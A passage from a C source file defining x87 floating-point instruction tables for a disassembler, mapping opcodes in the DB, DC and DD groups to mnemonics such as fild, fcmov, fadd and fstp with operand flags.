FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, }; // XXX: fsetpm?? INST inst_table_fpu_db[72] = { { INSTRUCTION_TYPE_FILD, "fildl", AM_E|OT_d|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FISTTP, "fisttp", AM_E|OT_d|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FIST, "fistl", AM_E|OT_d|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FISTP, "fistp", AM_E|OT_d|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FLD, "fldt", AM_E|OT_t, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSTP, "fstpl", AM_E|OT_t|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovnb", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovnb", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST1|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovnb", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST2|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovnb", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST3|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovnb", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST4|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovnb", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST5|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovnb", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST6|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovnb", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST7|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovne", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovne", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST1|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovne", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST2|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovne", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST3|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovne", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST4|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovne", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST5|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovne", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST6|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovne", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST7|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovnbe", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovnbe", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST1|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovnbe", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST2|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovnbe", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST3|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovnbe", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST4|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovnbe", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST5|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovnbe", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST6|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovnbe", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST7|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovnu", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovnu", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST1|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovnu", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST2|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovnu", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST3|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovnu", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST4|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovnu", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST5|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovnu", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST6|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCMOVC, "fcmovnu", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST7|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, "fclex", FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, "finit", FLAGS_NONE|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FUCOMI, "fucomi", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FUCOMI, "fucomi", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST1|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FUCOMI, "fucomi", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST2|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FUCOMI, "fucomi", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST3|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FUCOMI, "fucomi", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST4|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FUCOMI, "fucomi", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST5|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FUCOMI, "fucomi", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST6|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FUCOMI, "fucomi", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST7|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCOMI, "fcomi", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCOMI, "fcomi", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST1|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCOMI, "fcomi", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST2|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCOMI, "fcomi", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST3|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCOMI, "fcomi", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST4|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCOMI, "fcomi", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST5|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCOMI, "fcomi", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST6|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FCOMI, "fcomi", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST7|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, }; INST inst_table_fpu_dc[72] = { { INSTRUCTION_TYPE_FADD, "faddl", AM_E|OT_q|P_w, FLAGS_NONE|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FMUL, "fmull", AM_E|OT_q|P_w, FLAGS_NONE|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FCOM, "fcoml", AM_E|OT_q|P_w, FLAGS_NONE|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FCOMP, "fcompl", AM_E|OT_q|P_w, FLAGS_NONE|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FSUB, "fsubl", AM_E|OT_q|P_w, FLAGS_NONE|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FSUBR, "fsubrl", AM_E|OT_q|P_w, FLAGS_NONE|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FDIV, "fdivl", AM_E|OT_q|P_w, FLAGS_NONE|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FDIVR, "fdivrl", AM_E|OT_q|P_w, FLAGS_NONE|P_r, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST1|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST2|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST3|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST4|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST5|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST6|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FADD, "fadd", AM_REG|REG_ST7|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST1|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST2|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST3|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST4|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST5|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST6|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FMUL, "fmul", AM_REG|REG_ST7|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST1|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST2|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST3|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST4|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST5|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST6|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUBR, "fsubr", AM_REG|REG_ST7|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST1|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST2|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST3|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST4|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST5|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST6|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSUB, "fsub", AM_REG|REG_ST7|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST1|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST2|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST3|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST4|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST5|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST6|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIVR, "fdivr", AM_REG|REG_ST7|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST1|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST2|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST3|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST4|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST5|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST6|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FDIV, "fdiv", AM_REG|REG_ST7|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, }; INST inst_table_fpu_dd[72] = { { INSTRUCTION_TYPE_FLD, "fldl", AM_E|OT_q, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FISTTP, "fisttp", AM_E|OT_q|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FST, "fstl", AM_E|OT_q|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FSTP, "fstpl", AM_E|OT_q|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, // XXX: operand type is not exactly right.. { INSTRUCTION_TYPE_FPU, "frstor", AM_E|OT_d|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // XXX: operand type is not exactly right.. { INSTRUCTION_TYPE_FPU, "fsave", AM_E|OT_d|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, // XXX: operand type is not exactly right.. { INSTRUCTION_TYPE_FPU, "fstsw", AM_E|OT_d|P_w, FLAGS_NONE, FLAGS_NONE, 1 }, { INSTRUCTION_TYPE_FFREE, "ffree", AM_REG|REG_ST0|F_f|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FFREE, "ffree", AM_REG|REG_ST1|F_f|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FFREE, "ffree", AM_REG|REG_ST2|F_f|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FFREE, "ffree", AM_REG|REG_ST3|F_f|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FFREE, "ffree", AM_REG|REG_ST4|F_f|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FFREE, "ffree", AM_REG|REG_ST5|F_f|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FFREE, "ffree", AM_REG|REG_ST6|F_f|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FFREE, "ffree", AM_REG|REG_ST7|F_f|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FPU, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FST, "fst", AM_REG|REG_ST0|F_f|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FST, "fst", AM_REG|REG_ST1|F_f|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FST, "fst", AM_REG|REG_ST2|F_f|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FST, "fst", AM_REG|REG_ST3|F_f|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FST, "fst", AM_REG|REG_ST4|F_f|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FST, "fst", AM_REG|REG_ST5|F_f|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FST, "fst", AM_REG|REG_ST6|F_f|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FST, "fst", AM_REG|REG_ST7|F_f|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSTP, "fstp", AM_REG|REG_ST0|F_f|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSTP, "fstp", AM_REG|REG_ST1|F_f|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSTP, "fstp", AM_REG|REG_ST2|F_f|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSTP, "fstp", AM_REG|REG_ST3|F_f|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSTP, "fstp", AM_REG|REG_ST4|F_f|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSTP, "fstp", AM_REG|REG_ST5|F_f|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSTP, "fstp", AM_REG|REG_ST6|F_f|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FSTP, "fstp", AM_REG|REG_ST7|F_f|P_w, FLAGS_NONE, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FUCOM, "fucom", AM_REG|REG_ST0|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FUCOM, "fucom", AM_REG|REG_ST1|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FUCOM, "fucom", AM_REG|REG_ST2|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FUCOM, "fucom", AM_REG|REG_ST3|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FUCOM, "fucom", AM_REG|REG_ST4|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { INSTRUCTION_TYPE_FUCOM, "fucom", AM_REG|REG_ST5|F_f|P_w, AM_REG|REG_ST0|F_f|P_r, FLAGS_NONE, 0 }, { 